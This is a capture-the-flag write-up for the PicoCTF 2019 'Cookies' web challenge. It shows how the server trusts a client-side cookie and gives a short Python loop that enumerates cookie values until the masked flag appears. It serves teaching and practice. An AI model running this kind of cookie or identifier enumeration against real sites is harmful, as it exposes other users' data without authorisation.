The site uses a name cookie to display different types of cookies (the food). By enumerating values from 0 to 18 via DevTools, we find the flag at name=18.
| Platform | PicoCTF 2019 |
| Category | Web Exploitation |
| Points | 150 pts |
| Difficulty | Beginner |
| Technique | HTTP cookie manipulation |
The challenge presents a site themed around cookies (the food). The description reads:
"Who doesn't love cookies? Try to figure out the best cookie! http://2019shell1.picoctf.com:21485"
A form lets you search for a cookie type by name. The goal is to understand how the site handles its cookies client-side.
We open the site and submit a search with the word snickerdoodle (the default suggestion). The page displays: "I love snickerdoodle cookies!"
We open DevTools (F12) → Application tab → Cookies. We observe:
name=0
The value is an integer. The site maps each cookie type to a numeric identifier.
If name=0 corresponds to "snickerdoodle", there are probably other values — or the flag. We enumerate. Two approaches:
In DevTools → Application → Cookies, we change name to 1 and reload. We keep incrementing:
name=0 → snickerdoodle
name=1 → chocolate chip
name=2 → oatmeal raisin
name=3 → gingersnap
...
name=18 → [FLAG]
import requests
url = "http://2019shell1.picoctf.com:21485/"
for i in range(25):
cookies = {"name": str(i)}
r = requests.get(url, cookies=cookies)
if "picoCTF" in r.text:
print(f"[+] Flag found with name={i}")
start = r.text.find("picoCTF{")
end = r.text.find("}", start) + 1
print(r.text[start:end])
break
else:
print(f"[-] name={i}: no flag")
[-] name=0: no flag
[-] name=1: no flag
...
[+] Flag found with name=18
picoCTF{***************************}
The flag is deliberately hidden — follow the method, you've earned it. 💪
This challenge illustrates a client-side access control problem: the server trusts the value of a cookie without validating it. By manipulating name, we access hidden content.
In a real-world context, this type of vulnerability can expose other users' data (IDOR — Insecure Direct Object Reference) or administration endpoints.
requests is a basic web CTF skillDetecting and extracting a ZIP file hidden inside a PNG image with binwalk. An introduction to steganography.
Discuss this writeup with the community on the CTFdojo Discord.
Join the Discord →